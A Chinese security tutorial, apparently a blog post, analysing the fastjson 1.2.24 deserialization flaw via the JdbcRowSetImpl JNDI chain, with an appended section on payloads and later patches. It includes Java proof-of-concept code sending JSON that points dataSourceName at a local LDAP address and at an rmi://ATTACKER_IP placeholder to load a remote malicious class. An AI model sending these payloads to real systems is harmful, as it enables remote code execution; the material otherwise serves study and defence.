WEB安全--Java安全--fastjson1.2.24(JdbcRowSetImpl利用链)

一、漏洞介绍

1.1、JdbcRowSetImpl利用链简介

我们通过@type指定系统类JdbcRowSetImpl,但是这个类并不存在命令执行的危险方法,所以要借助JNDI服务使JdbcRowSetImpl类中的lookup方法远程加载我们的恶意类来实现攻击。所以主要是利用JNDI注入达到的攻击。

1.2、JNDI、RMI、LDAP

该攻击过程设计到了JNDI、RMI、LDAP三个知识点,简明扼要地说:JNDI是官方定义的一套接口,而LDAP服务、RMI服务则是对该接口的不同实现方式。

JNDI (Java Naming and Directory Interface)

JNDI(Java命名和目录接口)是Java提供的一套API,用于访问各种命名和目录服务。

LDAP (Lightweight Directory Access Protocol)

轻量级目录访问协议。支持远程访问Java类文件。

RMI (Remote Method Invocation)

Java远程方法调用协议。支持远程访问Java类文件。

二、漏洞分析

为了更好的理解这个漏洞的触发过程,我将介绍两个板块:

JdbcRowSetImpl类接收的JSON字符串

JdbcRowSetImpl类的lookup()方法触发

2.1、JdbcRowSetImpl类接收的JSON字符串

import com.alibaba.fastjson.JSON;

public class vul_JdbcRowSetImpl {
    public static void main(String[] args) {
        String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:8085/badClass\", \"autoCommit\":false}";
        JSON.parse(s);
    }
}

这里的JSON字符串中包含了如下信息:

{

@type:com.sun.rowset.JdbcRowSetImpl,

dataSourceName:ldap://127.0.0.1:8085/badClass,

autoCommit:false

}

@type:指定要将JSON字符串解析的模版类

dataSourceName:远程加载的位置,协议:ldap和rmi均可

autoCommit:布尔值,指定的类需要接收处理两个参数

2.2、JdbcRowSetImpl类的lookup()方法触发

通过Json字符串  ————反序列化————>Java对象这个过程,指定的的JdbcRowSetImpl类的

setDataSourceName方法会被触发,并且调用父类的setDataSourceName方法

走进JdbcRowSetImpl类的父类BaseRowSet类,发现该方法就是普通的赋值操作,将我们传递的JSON字符串赋值给dataSource

接着JdbcRowSetImpl类会调用另一个setter方法setAutoCommit,其需要接收一个bool值,但最主要的是该setter方法会调用connect方法

走进connect方法发现其中通过lookup(getDataSourceName())的形式远程加载Java类,并且这个getDataSourceName()所对应的值就是前面的dataSource,也就是远程加载的恶意类位置

三、漏洞实现

在本地编写java主程序模拟客户端

利用yakit的反向连接功能生成存放恶意类的服务器

ldap和rmi服务均可

注意替换地址的准确性,实现命令执行

### 关于 Fastjson 1.2.24 漏洞 Payload 示例 Fastjson 是阿里巴巴开源的一款高性能 JSON 序列化和反序列化工具,在早期版本中存在多个严重的远程代码执行 (RCE) 漏洞。这些漏洞主要源于其 `autoType` 功能未充分校验输入数据,攻击者可以通过构造恶意的 JSON 数据触发 RCE。 #### 已知漏洞背景 在 Fastjson 的 `checkAutoType` 方法中,如果某些特定条件被满足,则可能导致类型绕过并最终实现任意代码执行[^2]。以下是几个典型的场景: - **`expectClass` 参数**:当该参数不为空且不属于预定义的安全类列表时(如 Object.class 或 Serializable.class),可能允许自定义类型的实例化。 - **黑名单机制不足**:早期版本中的黑名单策略基于明文匹配,容易通过变种方式规避检测[^3]。 - **特殊字符过滤缺失**:部分修复尝试仅简单增加了一些关键字检查,但未能全面覆盖所有潜在威胁向量。 #### Payload 构造原理 针对 Fastjson 1.2.24 及更早版本,常见的利用依赖于 Java 类加载器的行为特性以及第三方库的支持。例如,`JdbcRowSetImpl` 被广泛用于演示此类漏洞的影响。下面是一个经典的 POC 实现: ```java import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; public class Exploit { public static void main(String[] args) throws Exception { // 启用 autoType 支持 ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 恶意 JSON 输入字符串 String poc = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://ATTACKER_IP:1099/Exploit\",\"autoCommit\":true}"; // 执行解析操作 JSON.parse(poc); } } ``` 上述代码片段展示了如何通过指定 `@type` 属性来控制目标对象的具体类型,并结合外部资源注入完成进一步的危害扩展。 > 注意事项 > - 替换掉 `ATTACKER_IP` 占位符为你实际部署的服务地址。 > - 此测试环境需确保隔离措施到位以免造成真实损害。 --- ### 技术细节补充说明 对于更高版本修补后的防御逻辑改进点如下: - 黑名单由原来的纯文本形式转变为哈希值存储结构,从而提高了对抗变形技巧的能力; - 新增了对非法路径分隔符 (`L`, `;`) 的额外筛查环节以减少误报率的同时增强安全性保障水平。 尽管如此,开发者仍应遵循官方建议禁用全局范围内的自动类型转换功能除非绝对必要情况下才开启局部许可权限设置。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值